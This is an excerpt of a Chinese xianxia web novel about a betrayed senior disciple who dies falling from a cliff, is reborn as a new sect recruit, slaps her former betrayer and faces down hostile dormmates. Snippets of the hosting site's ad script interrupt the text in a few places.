《大师姐重生后稳定发疯》 1. 坠崖重生 云仞山,绝情崖。 一位满身血污的女子持剑立于崖边,长发高束,目光清亮,脸上身上沾满了血,连同剑柄上的青色剑穗也染上了血污,罡风吹起她的衣角和发梢,消瘦的身影透着倔强。 “叶清漪,不要再执迷不悟了!束手就擒吧!”修言长老凌霜领着一群蓝衣弟子挡住她的去路。 叶清漪微微侧身,剑刃泛着寒光:“让开,我不想让青锋剑沾上同门的血!” 凌霜不为所动:“你已被我仙门除名,如今一身魔气回来,还妄图面见掌门,简直是痴心妄想!” “大师姐,你收手吧!”一旁的凌雪瑶也上前劝她。 凌霜呵斥:“她已经入魔,不是什么大师姐了。” 叶清漪一柄青锋剑直指凌霜:“我今日就算杀光全门,也要见到云宸!” 凌霜嗤笑一声,眼底尽是轻蔑:“云宸已经不是你的师尊了,况且他只教了你四年,难不成你真这么重情,我看你是另有所图!再说了你的修为已经被山前的八卦杀阵废了,就算你曾修到剑修第八重天又如何?我劝你还是乖乖跟我们回去,或许还能在昭明殿给你留个牌位!” 叶清漪冷笑,剑气一扫,直逼凌霜父女,身后一众弟子早已被她掀翻在地。 凌霜一把推开凌雪瑶,挥剑抵挡,但只支撑了一瞬,雨霖剑被剑气打落,生生受了叶清漪的这一击。 “爹爹!”凌雪瑶撕心裂肺大喊。 凌霜喉口一热,吐出一口血来,眼底满是震惊:“怎么会?” 凌雪瑶也提起剑:“叶清漪,我跟你拼了!” 叶清漪一抬手,金色术光击出,轻易就将凌雪瑶击飞。 “瑶儿!”凌霜大喊。 叶清漪一掀眼皮,睨了凌雪瑶一眼,眼中没有一丝波澜,举步朝凌霜走去。 凌霜捂着心口,勉强支着上半身,抬头看向叶清漪:“你的功力竟已精进至此!被杀阵废了大半功力,居然还有这么强的修为?” “还要多谢修言长老你当初极力将我赶出仙门,否则我哪来今日这般修为?”叶清漪蹲下,平视着凌霜,嘴角带着一抹讥讽的笑。 身后一阵凌冽的气息,叶清漪迅速回头,一柄泛着青光的剑直直朝她刺来。 她眸色一冷,一个侧身躲过。 “师妹且慢!”一道熟悉的身影随后出现,接住了那把剑。 “顾长风,你也来拦我?”叶清漪蹙眉看着他,平静的眼底终于有了波澜。 “师妹你冷静,我知道你受委屈了,可你如今这样也改变不了什么!掌门他……已经羽化了……”顾长风一边护着凌雪瑶,一边劝她。 “大师兄……”凌雪瑶小声唤了一声,躲在了顾长风身后。 叶清漪恍惚了一瞬,握剑的手紧了紧。 她稳了稳心绪,再次开口,声音带了点沙哑:“你知道我不会为难你们,我只是想为师尊上炷香!” “你个魔界妖女,有什么资格踏入后山!”修言情绪激动,扯着嗓子喊,又因为太过激动,急急咳出两口血。 “爹!!!”凌雪瑶喊着,仍旧躲在顾长风身后。 “听说最后都是修言长老你贴身照料师尊,他是怎么死的,长老应该比我更清楚吧!” “叶清漪,你血口喷人!”凌雪瑶气急败坏,怒视着叶清漪,“你凭什么污蔑我爹爹!” 下一刻忽然举起匕首朝叶清漪刺去。 叶清漪一个后仰轻轻躲过,随之在崖顶滑行一段距离,举剑打落凌雪瑶手中的匕首,一个挺身,反守为攻,眼中闪过一丝杀意。 大约是感受到了杀气,凌雪瑶面露惊恐,不受控制地发抖。 就在叶清漪的青霜剑即将刺中凌雪瑶时,一把长剑横空而来,挡开了她的剑。 “师妹别怕!”顾长风柔声安慰。 叶清漪大笑:“真是碍眼!我回来不是看你们郎情妾意的,要么让路,要么出手!” 顾长风:“叶师妹,你别这样,你知道我不会对你动手的。” “事到如今,你还是这样,永远不会把责任揽在自己身上。” 他们曾对招那么多次,可这是第一次以敌对的身份出手。 一把长剑破空而来,直直击中叶清漪心口,将她整个人击退几丈远。 叶清漪一剑刺入崖顶的碎石坪,停了下来,单膝跪地,吐出一大口黑血。 刺在她心口的不是别的,正是顾长风的碧云剑。 顾长风昔日所言犹在耳边,如今碧落剑在她心口缓缓震动,像极了在讽刺她的天真。 顾长风飞身接下凌雪瑶,转身对叶清漪说:“叶师妹,你别怪我!你我仙魔有别……” 叶清漪瞬间就明白了,苦笑一声:“听说大师兄如今是继承掌门之位的唯一人选,还未恭喜大师兄,如今又抱得美人归,可谓是喜上加喜,不曾想掌门一死,最大获益者的竟是你顾长风!” “叶师妹,我也是逼不得已……”顾长风嘴上如此说着,下手却没有犹豫,一抬手,碧落剑又没入叶清漪心口好几寸。 叶清漪口中鲜血狂吐不止,眼底却是轻蔑的笑意:“都动手了,何不干脆一点?” 说着踉跄向前两步,举起青锋剑,作势要出手。 顾长风不及反应,手中法力已放了出去,碧云剑加速没入血肉,趁势一往直前,直接将叶清漪心口刺了个对穿,继而落在她身后。 叶清漪猛然跪地,青锋剑也再难握住,锵然坠地,正落在碧落剑不远处。 她和顾长风的剑口已然相向,早已不是一路人了。 “你在杀阵里已经废了大半功力,杀上绝情崖也受了一身的伤,已不是我的对手。”顾长风依旧那副痛心疾首的模样,事到如今还试图规劝她,“当初我能力有限,没法阻止你离开云仞投奔魔君,如今,我断不能看着你一错再错!” “一、错、再、错?”叶清漪一字一顿念着,语气里满是嘲讽,“从踏入仙门那刻起,我就已经错了。” 叶清漪用手背擦去嘴上的血迹,手心结印,站起身,作势要杀凌雪瑶。 凌雪瑶吓得直往后躲。 顾长风连忙抬手格挡,手心蓝色的术光和叶清漪金色的术光在半空相撞,一时难分胜负。 “仙门百家和魔界唯一的金色术光,清漪,”顾长风眼底隐隐有泪光闪动,“你就不能念着当初的情谊,就此作罢吗?” “情谊?”叶清漪加重了力道,“早在三年前被除名时,我和云仞的情谊就已尽了。” 顾长风轻而易举将金色术光往回推了一大段,叶清漪脸色苍白,口中鲜血汩汩流下。 “我只用了两成的功力。”顾长风抬眼看向叶清漪,神色复杂。 “云仞的护山灵气天生就克制你的魔气,再下去你会筋脉尽断,功力全废的。” 叶清漪并不退让:“那又如何?我就没想活着离开。” “我真的不想你我走到这一步,但我必须守护云仞和门中弟子,清漪,”顾长风似有痛心,“这一世终是我负了你。” 叶清漪直直发笑:“顾长风啊顾长风,你是不是装的太久,连自己都骗过去了?你我之间,谈得上辜负吗?从始至终你看中的不过是我大师姐的名头,以及我门派第一的法力罢了!” “不是的,清漪,你误会我了。”顾长风还欲解释。 凌雪瑶恨恨地听着二人的对话,再难忍耐,举起霜华剑就冲了出去:“叶清漪,你个仙门叛徒,我杀了你!” 长剑直直向叶清漪腹部刺去。 叶清漪丝毫不躲避,硬生生受了凌雪瑶这一剑。 凌雪瑶和顾长风都愣住了,顾长风连忙收回法力,不知所措。 叶清漪呕出一大口血,一滴一滴落在霜华剑上。 凌雪瑶被灵剑刺入他人血肉传来的感觉吓到,下意识想往后退,却被叶清漪牢牢握住双手,带着她的手将霜华剑又往前送了一大段,迫使凌雪瑶和她近距离相对。 “叶清漪你疯了!”看着眼前癫狂的叶清漪,凌雪瑶控制不住浑身发抖。 “你不是一直都想杀我吗?”叶清漪很满意她的反应,用只有二人能听见的声音说,“这样多好,我们大家都如愿了。” “什……什么?”凌雪瑶略感疑惑,等到反应过来“如愿”到底指的是什么时,猛然瞪大双眼,拼命想抽回双手,却被叶清漪死死按住。 情急之下,她回头冲顾长风大喊:“大师兄!小心青锋剑!她要玉石俱焚!” 顾长风连忙看向地上,哪里还有青锋剑的影子,他继而警惕地转向四周,依旧遍寻不见,忽然,他大喊道:“师尊,小心!” 话音刚落,长剑刺进血肉的声音响起,修言未及反应,已口吐黑血,表情痛苦,缓缓垂下头颅。 众人这才看清,在他后背正中心,赫然插.着一柄长剑,正是那把青锋剑! 凌雪瑶哭喊出声,一众弟子口中连连喊着凌霜的名号,可惜已无法将他唤回。 叶清漪一掌袭去,凌雪瑶被她击飞,霜华剑也直直从她体内抽出。 顾长风飞身上前接住凌雪瑶,叶清漪则在剑气的余波下整个人飞上半空,直直朝悬崖边缘飞去。 “清漪!”顾长风大喊,想上前去救她。 却被凌雪瑶紧紧抓住衣角,双目通红:“她害死了我爹爹,大师兄当真要救她吗?” 顾长风迟疑片刻,发了狠力挣开凌雪瑶的手,不顾一切地纵身飞去,可却为时已晚,叶清漪已经飞出了悬崖边缘,被崖下的万年瘴气裹挟着直直坠落。 “师妹!”顾长风大喊一声,仓惶冲至崖边,徒劳地想抓住她的衣角,可终究也没能将她留下。 叶清漪嘴角含笑,缓缓阖上双目,任由自己不断下坠,神情甚至有一丝解脱。 坠落悬崖的最后一刻,她似乎看到,漫天落花中,她一袭白衣,在流云殿的院子里舞剑弄风,云宸在殿内打坐,一如往常。 前尘往事俱如烟。 这世间,再没她爱的人,也没她恨的人了,她和这尘世再无一点牵挂。 - 冀州城,叶府。 叶清漪是被一阵喧哗声吵醒的,醒来发现回到了自己的闺房,前厅似乎正在大摆宴席。 叶清漪出去一看,亲友都来了。 “清漪啊!恭喜啊!你是叶家第一个被选中当仙徒的,真为叶家争光。”不知道是三舅妈还是二姑婆的人醉醺醺地凑上来。 这时大姑母过来将人拉开,叶清漪连忙将她拉到一边: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “我被选入仙门了?什么时候的事?” “清漪啊,你怎么糊涂了,半月前你和冀州城所有适龄子弟一起参加选擢,七日前传来好消息,你被选中进仙门当仙徒了,这不,今日府上大摆宴席,一齐为你庆贺呢!” 叶清漪心知不好,她是重生了,但重生在了入选仙门之后。 “被选中了……那我还能退选吗?”叶清漪急急问。 “这孩子说什么傻话,仙门哪是你想进就进,想不进就不进的啊!多少世家子弟一心想着要进仙门,都不得如愿,怎么你反倒要退选呢?再说了,仙徒选擢是宫里和仙门一起操办的,那榜都放出来了,你要是不去,咱们叶家可是要被抄九族的!” 大姑母说着看向席间,今日来的都是和叶家沾亲带故的,如果叶清漪拒不应选,在座这些人都活不成。 大姑母神色担忧:“你不会真的要退选吧?” “没有,我就是随口一问。”叶清漪含糊回答。 看来她是注定要进仙门了,既然躲不过,那不如换种活法,从头再活一回。 * 很快到了进山的日子,入选的子弟在府门前等候,由云舟接往云仞山。 这流程叶清漪再熟悉不过,一大早就在门口等着,等云舟到了,叶清漪一言不发地上去,挑了个角落的位置坐了,谁也不想搭理。 云舟一路驶去,到一处地方停一下,等子弟们和家人一一话别,又看着云仞弟子将他们的豪华包袱一一退回,只说仙门一应俱全,只带两样贴身之物便可,如此一来二去,终于将人接齐了。 彼时叶清漪趴在舱内后排的桌上,已经睡了好几觉了。 进山时天刚擦黑,接引弟子带领众人进山,世家子弟们都是第一次进仙山,稀奇不已,又不好过多表露,只新奇地四处打量。 叶清漪却是截然不同的心境,自从魔气侵体被云仞除名后,她已经六年没有进过云仞了,前山更是少来,算来已有八九年了。 如今重回故地,看着十几年前的一切,心境却不如从前了。 正出神间,众人已至明镜台,自明镜台往后,登上千级天阶,便是凌云广场,一年一度的试炼大会一般在那进行,广场背靠前山主殿昭明殿,明镜台往左是问道堂,往右则是仙徒宿舍,弟子们每日需在凌晨时分从宿舍赶往问道堂开始一天的修习。 进山第一日是没有安排的,众人跟随师兄师姐去往各处安顿,待明日再开始正式修习。 宿舍离得不远,这批仙徒大概选了百来位,只有十二位通过了最后的考核,大约一半的人止步于第一个月,剩下一半又只坚持了半年,最后因考核不合格被劝退了。 前半年是最容易放弃的,后面留下的大部分都坚持到了最后,大约三十余人。 原本要收入八十位正式弟子,结果却连一半都没有收到,可见云仞山修炼之严苛。 “早已为各位备下统一的仙服,明日早课前换上,其余事物日后自会一一熟悉。”接引弟子说完便退了下去。 一旁的几位师兄师姐走上前来,为首的人开始介绍,熟悉的声音响起:““各位师弟师妹们,你们好。” 叶清漪眸色一沉,刚才太暗了她没认出来,如今一听声音就知道认出对方了。 “我是你们的大师兄顾长风,接下来由我和几位师兄师姐带大家前去安顿……” 顾长风说着退至一旁,边上的几位便各自上前,组织众人排队。 夜风夹杂着花香,柔和地吹拂着叶清漪的脸庞,也吹起一旁顾长风的衣袂。 如今的顾长风还是二十一二的模样,比叶清漪大三岁,是上一批弟子中的佼佼者。正式弟子考核时更是直接被修言长老收为亲传大弟子,除了掌门云宸,就属修言的修为最高了,又是代理掌门,顾长风的修为又在云宸的亲传弟子之上,直接成了大师兄,一时风光无两。 如今迎接新弟子也是他升为大师兄后经手的第一件重大事务。 前世顾长风将一切安排得十分妥帖,从筹备选擢,到确定人选,发放榜单,再到接引、安顿新弟子,一切有条不紊,顾长风更是事无巨细,亲力亲为,直到第二日修习正式开始,一切才算结束,剩下的便由戒律及其弟子不辞接手安排了。 所以安顿弟子是最后也是最重要的一个环节,顾长风看着还算轻松,但内心还是有些紧张的。 顾长风只见一位身量中等,看起来不过刚刚及笄的女孩走到他面前,虎着一张脸看他。 眼前的师妹容貌稚嫩,顾长风一时放松下来,心头的紧张也扫去了几分:“这位师妹,你有什么事吗?” 众人手忙脚乱排队的时候,叶清漪就站在离顾长风最近的位置,她恨恨地盯着对方,双拳紧握,趁着所有人都没注意,走到顾长风面前。 看着这张脸,叶清漪越想越气,想了想站上一旁的石头上,恰好就在顾长风对面。 顾长风嘴角噙着笑意,还走上前一点,正对着她:“你有什么想说的吗?” 结果眼前貌不惊人的小女孩忽然一抬手,给了顾长风一巴掌! “啪——”地一下,格外突兀。 所有人都愣住了。 顾长风捂着脸,不解地看到女孩眼中有着不符合年纪的恨意。 2. 重回云仞 这一巴掌声音不大,但足以传入每个人耳中,在场仙徒和弟子都傻了。 “什么情况?这人谁啊,疯了吧!” “好像是叶家的,她没事吧,居然打了大师兄?” 几位师兄师姐们见状立马围过来,关心顾长风的情况。 顾长风生平第一次挨巴掌,久久没有缓过神来——他,被打了,还是被眼前这个貌不惊人的小女孩打了! 叶清漪尤不解气,一巴掌算什么,她这穿心之痛,背叛之恨,岂是这一巴掌能抵消的? 眼见叶清漪似乎更生气了,顾长风更是不解,捂着脸默默后退两步,怎么感觉这师妹还想打他? 有弟子怒斥叶清漪:“大胆!竟敢冒犯大师兄!” “我没事,”顾长风拍了拍他示意他冷静,又问叶清漪,“这位师妹,我们之间是不是有什么误会?” 叶清漪没有回答,甚至嫌恶地移开视线。 那位师兄顿时指着她怒斥:“你这什么态度?打了人还不认错,别以为你刚上山我就不敢打你!” 说着还想上前,被几位师兄拦住了。 “师弟,冷静!”几个师弟架开不辞,免得他冲出去。 叶清漪看都没看他一眼。 这位便是戒律的大弟子——不辞,负责替戒律老儿看管藏经阁,前世叶清漪没少在他手下受窝囊气,每次去借书,都要被他各种为难。 彼时全门上下还对她成为掌门弟子颇有微词,这位不辞更是对她态度轻慢,完全没将她这个大师姐放在眼里。 起初叶清漪以为他也是不满她成为云宸弟子,不愿和他起冲突,害云宸落个管教不严的罪名,便一直忍了。 后来才知道他是认为顾长风应该跟小师妹在一起,对结果顾长风倒跟叶清漪形影不离,加上凌雪瑶又人前人后各种委屈,让不辞越发讨厌叶清漪,一厢情愿地要替小师妹出这口恶气。 思绪回到现在,顾长风站在她面前,脸上已经浮现出几道淡淡的红印子,但不妨碍他继续端起如沐春风的笑意,问出了他最想不通的问题:“小姑娘,你为何要动手打人啊?” 看这架势,她也别想继续留下了,虽然无法见到云宸,但也不用再入云仞,云宸或许也会因此不再被她所累,未必不是好事。 叶清漪不再多言,转身欲走,却被几位师兄拦住了。 “且慢!你不能走!” “打了人就想跑,没那么容易!” 她也不慌,转身看向顾长风,冷静得不像一个十几岁的小孩:“敢问大师兄,这脸被打得疼吗?” 顾长风若有所思。 边上的不辞听了,怒不可遏:“你废话,打你你疼不疼!” 说着直指叶清漪,看起来像是要跳起来打她,不过被其他人按住了。 叶清漪脊背挺得直直的,神色淡漠,气势竟一点不输几位内门弟子:“我又有一问,掌掴之痛与穿心之痛相比,何如?” 顾长风闻言怔住,缓了一会才意识到她问的是什么,眼底的疑惑更深了:“穿心之痛?师妹为何有如此一问?” 那群刚进山的仙徒更是大气也不敢出,提心吊胆地看着他们,生怕波及自身。 叶清漪张了张嘴,想说什么又说不出,顿时觉得这一切索然无味,别过脸去,不再答话。 见叶清漪不答,顾长风也不执着,转身遣散众人:“罢了,左右我也无大事,如今天色已晚,各位师弟师妹还是先带新弟子前去安顿吧!” 叶清漪怔住,随后发出一声极轻的冷笑,在这么多人面前被打,顾长风哪怕没被打疼,颜面肯定有损,他却还能做出一副大度模样,真是可笑! 她倒低估了顾长风的虚伪程度。 果然,顾长风此言一出,新弟子中便传出“不愧是大师兄,实在大度”之类的话。 叶清漪倒觉得无比有趣。 不辞比顾长风还激动:“大师兄,不能就这么算了!” “师弟,我相信此事定有隐情,师妹既不愿说明缘由,定有其原因,不如就先去寝舍安顿,日后若是你什么时候想说了,随时可以找我。”顾长风想一如既往地温和一笑,却不小心扯到被打的半边脸,吃痛地吸了口气,又小心地挤出一个微笑,柔和地注视着叶清漪。 叶清漪实在懒得看他这副样子,抬脚就走,边上的师姐见状连忙跟上。 “师妹走得还挺快,看起来好像认得去寝舍的路一样。”路上那师姐忍不住说。 叶清漪黑着一张脸,并未接话。 那师姐方才也领教了这位师妹的彪悍,也不敢多言,沉默地将她送到寝舍便离开了。 云仞的宿舍条件还算不错,每个铺位都写了序号,按顺序进去即可,以示公平。 女仙徒不多,大约有三十几位,分为三个宿舍,每个宿舍十个铺位,五五相对。 叶清漪还是跟前世一样,在一号第六,进门后右手边靠门口第一位——前世这个位置可是为她出早课省了不少时间。 同寝舍的几位师妹见到叶清漪进来,脸色顿时变了,又不敢当着她面说什么,生怕也挨一巴掌,便几个人凑到一起小声议论。 叶清漪懒得搭理她们,只顾查看自己的东西,一切都和前世一样,仙服,云仞门规,书袋,笔墨纸砚……熟悉的几样物件都在,仙徒是没有弟子牌的,成为正式弟子后才有,上面会刻上各人的名字,不同等级的弟子牌也不尽相同,外门弟子是木牌,内门弟子银牌,几名亲传弟子则是玉牌。 仙服就放在每人床头,叶清漪进去后二话不说就换了衣服,穿上后直接睡了。 其他人见了,又暗暗嘲笑她没见过好东西,迫不及待穿上也就罢了,睡觉还不舍得脱。 叶清漪闭着眼,已经有点困意。 入山第一夜,众人因为太过兴奋,聊个不停,不止同寝舍的,隔壁两个寝舍的声音也能传进来,喧闹不已,比晨读的动静还大。前世叶清漪被吵得无法入睡,又不好在第一日就跟其他人闹僵,只好隐忍不发,直到子时后喧闹声渐渐安平息,叶清漪才终于安睡。 可如今的她,已经过了十几年夜以继日练功的日子,在后山的几年更是夙兴夜寐,日夜苦练,早就练就了沾枕头就着的本事,在魔界也是时刻警醒,提防各种暗算,和这些相比,这种程度的吵闹声根本不算什么,反而生出一种久违的亲切感,这一夜她竟睡得前所未有的安心。 意识迷离间,熟悉的晨钟响起,叶清漪几乎是条件反射地瞬间清醒,一睁眼,外面还是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一片漆黑,其他人还在酣睡,根本听不见什么晨钟暮钟的。 叶清漪知道规矩,二话不说就翻身下床,出于道义,她在穿鞋的空当儿喊了两嗓子,毫无作用,只有隔壁床的师妹听到了,眼也不睁地说:“起这么早做什么?天还没亮呢!” 说着调整了一个更舒服的睡姿。 “你们知道问道堂怎么走吗?知道晨钟响几下必须到场吗?七下。”叶清漪望着窗外墨黑的夜幕,像是自言自语般说着。 “…………” 隔壁又睡过去了。 叶清漪自己也快来不及了,便不再多言,出了宿舍就直奔问道堂。 她在第一声后起来,叫其他人起床耽搁了一会儿,出门时正听到第三声,原本时间还算充裕,如今她要跑得更快些才行。 此时尚未破晓,沿路只有微弱的风灯照明,好在叶清漪熟悉路况,终于在第六声晨钟响起时赶到了。 昨日进山的仙徒没一个到场的,戒律长老和边上的几位师兄师姐见了她都很是惊讶。 叶清漪气刚喘匀,第七声晨钟响了。 戒律长老不疾不徐地在登记册上打了个勾…… 之后的人全是被师兄师姐挨个宿舍叫来的,到场时全都睡眼惺忪,歪七倒八,窸窸窣窣地排着队,衣服也穿得很是潦草。 经过一夜的时间,大家已经对昨晚叶清漪打顾长风巴掌的事没什么兴趣了,只是都默契地选择和叶清漪保持距离,今日叶清漪又是最早到的,更是自然而然地成了新弟子中的异类,不过叶清漪压根不在乎。 见人到齐了,戒律便开始介绍起课业安排以及云仞的等级制度: “既然人到了,我就先简单介绍一下,我是戒律长老,负责给大家介绍云仞山的修仙历程及现今修仙派系和个别魔修异道,监管藏经阁。第一年的课业大部分是由我来教习。众位将在前山修习三年,每半年考核一次,不合格者无法进入下一阶段的修习。 “三年后成为正式弟子进入后山,正式弟子又分为亲传弟子、内门弟子、外门弟子三级,每级有甲乙丙三等,等级分明,尊卑有序。 “后山弟子可进入前山,仙徒不可进入后山……正式弟子的排序,与进山早晚无关,全凭修为高低……” 戒律还是老样子,不顾在场之人有没有听,是否听懂,他只管将该说的说完。 偏他所教习的又是最枯燥的理论部分,也是叶清漪最薄弱的部分,前世她可没少在戒律手底下吃苦头。 众人本就昏昏欲睡,听到如此冗长的介绍更加云山雾罩。 戒律将手中的书册一合,笑吟吟地继续道:“另外,早课晨钟响七下必须到场,想必昨晚大家也都有详读枕边的云仞门规,不过念在今日初犯,小惩大诫,每人领一戒尺,外加抄写云仞门规一遍,也算熟悉熟悉门规。” 本来听到要受罚,众人都瞬间清醒,面露难色,听到只抄一遍门规,又放松下来。 “才一遍,早知道我就多睡会了。” “是啊,一遍怕什么,师父我能多抄几遍,之后多睡几天懒觉吗?” 人群发出不知天高地厚的笑声…… 叶清漪摇头。 云仞门规足足有三千条,比她命都长…… 3. 寝舍风波 戒律只是慈眉善目注视着他们:“不用,一遍即可。” 说完便走了。 一旁不辞紧随其后补充道:“要抄写门规的可以进堂内抄写,门规在两侧墙面上,方便查阅,也有单独的抄本,众位可自行选择,不抄的现在就可以回去了,今日的教习已经结束。” 众人听到这里,还没意识到问题的严重性,甚至在为第一日教习结束地如此之早窃喜。 直到进了问道堂,看到满墙的门规,所有人都傻了。 “这么多?这得抄几天啊!我能先回去补觉吗?” 进去的人很快发现问道堂门口被施了结界。 “怎么回事?”众人这才慌了。 “大家不必紧张,问道堂一直有单向结界,心法抄好就可以出来了,也不用师兄们逐一查看。”顾长风贴心地解释。 有没来得及进去的弟子转头就跑,可外面也早已建起结界,哪还来得及! 叶清漪冷笑,前世问道堂是出了名的只进不出,为此她日夜苦练,学会了问道结界的破解之法,也因此成了戒律的眼中钉。 进山第一日就给新弟子下马威,也只有戒律做得出来。 果然,已有不少弟子不满。 “这什么破规矩,小爷要回家!” “就是,昨晚什么也没说,今天一大早就来这么一出,没想到仙门竟是这样的。” 顾长风、不辞等人显然已预料到此,并没有因为世家子弟们的出言不逊失态。 顾长风好脾气地跟众人解释:“各位的心情可以理解,戒律长老此举也是为了大家尽快适应修习的生活,云仞山的修炼比各位想的要更艰苦百倍,若一开始强度不够,后面你们适应起来会更难的。” 等他说完,不辞才接着道:“要走可以,但做一天和尚撞一天钟,今日你们还是云仞的仙徒,要走也要将心法抄好。” 几个师兄恩威并施,从容应对,轻易就将场面控制住了。 叶清漪见惯了他们这套,不再多留,转身离开了。 不想受罚的弟子们见斗不过长老和师兄,就将矛头都对准了她。 当夜同宿舍的女弟子们拖着疲惫的身躯回来后,想起这一日的折腾,顿时无名火起,达成奇妙的共识,纷纷质问她为何不叫她们起床? 叶清漪看着质问自己的人,视线继而落在一旁隔壁床的女弟子身上,一对上叶清漪的眼,对方就连忙收回视线。 面前的女弟子不想会被叶清漪忽略,气得一把揪起叶清漪的领子:“我跟你说话呢!你看她干什么?” 叶清漪低头,嘴角弯起一个讥讽的弧度:“原来不管怎样都会被针对,那我又何必对你们仁慈呢?” 揪着她的女弟子没得到该有的反馈,不知如何发作,一般这种时候对方不是求饶就是挣扎,那她就可以趁乱给她一巴掌了,眼前这位却纹丝不动,她若在此时动手,这巴掌的效果可要大打折扣了。 “你说什么呢?”女弟子狠狠瞪大双眼,竭力保持着气势。 叶清漪歪着脑袋看她:“提醒你一句,这不是你家王府,仙门是靠修仙实力论资排辈的,如今尚未进行第一轮考核,你确定要动手?” 女弟子有些犹豫了。 一旁有人看热闹不嫌事大,怂恿她:“你怕什么,看她这样也不会被仙门留下的,咱们倒是有可能,妹妹休要被她唬住了。” 其他几人也纷纷附和。 隔壁床的那位良心似乎过不去,轻声开口:“要不还是算了吧,她早上其实有叫过我们,是我们睡太死了……” “你别被她蒙蔽了,你们想想,她怎么就知道仙门第一日的规矩呢?还这么好命地躲过了处罚,保不齐是用什么见不得人的法子提前得知了!”一位女弟子站在隔壁床后面,双手抱胸斜睨着叶清漪,阴阳怪气地胡说八道。 其他人又被这话带跑偏了。 叶清漪自嘲一笑,不再多言,一手按住抓着自己领子的手,一手拦住即将落下的巴掌,死死将其双手钳住,那位女弟子根本无法挣脱。 如今她身量虽然还未长开,但每日在家都洗衣打扫,对付这些在闺阁中养尊处优的小姐们还是绰绰有余的,前世她未必不知道怎么对付这些人,只不过懒得在她们身上浪费时间罢了,毕竟这些戏码,她在叶家已经看腻了。 这一世她便无所谓了,左右都是多出来的一世,赶着修炼做什么,还不如跟这些娇弱的小姐们周旋周旋,也算解闷了。 “昨夜时间仓促,忘了自我介绍,我这人脾气不好,且没什么耐心,还睚眦必报, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 打骂人只看心情,更不喜欢人聒噪,家人担心我闹出人命,连随侍也不敢给我配,前些年独自在家属实憋闷久了,正想着借进山的机会好好发泄一下心中怨气,有谁想试试的,只管来招惹我。” 在场之人被吓得瞪大了眼,面面相觑,都不敢出声。 那抓着她领子的女弟子则吓得一个劲儿将手往回抽,又难以收回,气急败坏道:“你休要口出狂言了,我们这么多人还能怕你一人不成。” 此时有人想到叶清漪擢选时的表现,小声提醒众人:“我觉得她所言不虚,若不是如此,她怎么会平白无故给了大师兄一巴掌呢!还当着这么多人的面。” “是啊,她连仙门大师兄都敢打,保不齐是个疯的!” 被她按住手的女弟子脸颊已经憋红,眼有泪光:“你放手,你弄疼我了!” 叶清漪可没那么轻易罢休:“你不是要打我吗?怎么不打了?” 女弟子双手被控制得死死的,没法动弹,又被叶清漪的眼神压制得有些犯怵,急得冲其他人喊:“你们愣着干什么?还不快来帮我!” 旁边有几位闻言跃跃欲试,叶清漪一个眼神扫过去,又退缩了。 叶清漪不耐烦地上下打量了一番女弟子:“你叫什么名字?” 前世她一心修炼,跟这些同门三年加一起都没说几句话,所以对她们没什么印象。 女弟子挣脱不了,又无人帮忙,终于有些怕了:“你……你问这作什么?” 叶清漪轻笑,语气不容抗拒:“我问,你答便是!” 女弟子支支吾吾:“我……我叫裴佩……” 叶清漪终于松手,裴佩两只手腕都有了红印。 “我看跟你很是投缘,不如之后就跟着我,我带着你做功课如何?” 裴佩揉着吃痛的手腕,眼泪如豆子一般地掉:“你……你安得什么心?” 叶清漪笑笑:“你不是说我不叫你起床吗?从明天开始,我每天早上负责叫你起床,我几点起,你就几点起。” 说完直接和衣躺下了。 裴佩还没反应过来,叶清漪又幽幽开口:“愣着干什么,还不快躺下?” 这话是对裴佩一人说的,但屋里所有女弟子听到后,都赶紧回到自己的铺位上躺下了。 4. 问道修习 后面几天,一号寝舍在叶清漪的带领下几乎没人迟到,虽然集合时每个人都是睡眼惺忪,不过好在人到了,不用受罚,回去还可以补觉。 是以众人被叶清漪强制叫醒的时候虽颇有怨言,但每每回去无一不对叶清漪感恩戴德,毕竟三千条门规和凌晨四点起床比起来,还是后者更能接受。 至于叶清漪独特的叫早方式,虽然残酷但有效,几位女同门也在第一日的经历中对仙门的生活有了初步的认识,没了可以纵容自己的人,这些看起来柔弱的世家小姐们倒难得露出几分坚毅来,被叶清漪用冷毛巾盖脸强制叫醒后,也不过习惯性地恼了片刻,就毫无脾气地将毛巾拿开,穿鞋出门。 这样的日子过了七日,在经历最初的作息调整和心性磨练后,第八日才正式上课。此时一部分人已经坚持不住早早离开了,另一部分则是抄了七日门规,却因为考勤不合格被劝退了。 被劝退的自然心有不满,但他们已经见识了仙门的手段,也不敢轻易造次。 最后留下的只有七八十人,进山时共有一百一十八位,此时已近乎淘汰了三成。 至于她们出勤率最高的寝舍也没有任何奖励,毕竟少抄五六天的心法已经是天大的恩赐了。 第七日晚上,同寝舍的师妹们都在为成功坚持早起庆祝,有位身量较高的师妹提议道:“大师兄说让我们每个寝舍选一个舍长,叶清漪,要不你来当吧!” 叶清漪独自坐在铺位上,正思考后续她该如何行事,闻言看向她们,眼看着她们正在为结束了第一周的考验松了一口气,却不知这样的作息还需要坚持三年。不过随着修炼的推进以及身体的自我调节,后面就越来越适应了。 这几日相处下来,叶清漪也发现这些师妹其实很简单,她们年岁尚小,稍加引导就会向好发展,叶清漪对她们的态度也有所缓和,但记着前世的教训,不曾和任何一位过从甚密。 “不用了,我当不来。” 提议的师妹叶清漪也有印象,似乎是城东霍家的女儿霍水仙,霍家祖父是镖师出身,对唯一的孙女很是疼爱,几乎是当男儿养的,霍水仙的性格也比较爽朗。 见叶清漪拒绝,她又劝了两句。 其他师妹也纷纷附和,不过这次和以往不同,她们都是出于真心,不是人云亦云。 “我很严厉的,你们确定要我来当舍长吗?” 叶清漪此言一出,众人果然有所犹豫。 前世叶清漪当大师姐期间对同门要求很高,雷霆手段让人叫苦不迭,尽管她尽职尽责,身体力行盯着同门修炼,却不如会说漂亮话安抚人心的大师兄在他们心中威望高,叶清漪不想重蹈覆辙。 “不如还是让裴佩来吧!”叶清漪提议。 裴佩上前一步:“我之前那么对你,你还让我来当吗?” “你虽然没有自己的判断力,但愿意为了其他人出头,我看你挺适合的。” 裴佩也不知这话是夸她,还是变着法损她。 不过其他人倒是达成了一致,推举裴佩当了舍长,副舍长由霍水仙担任。 叶清漪则继续思考后续该如何行事…… 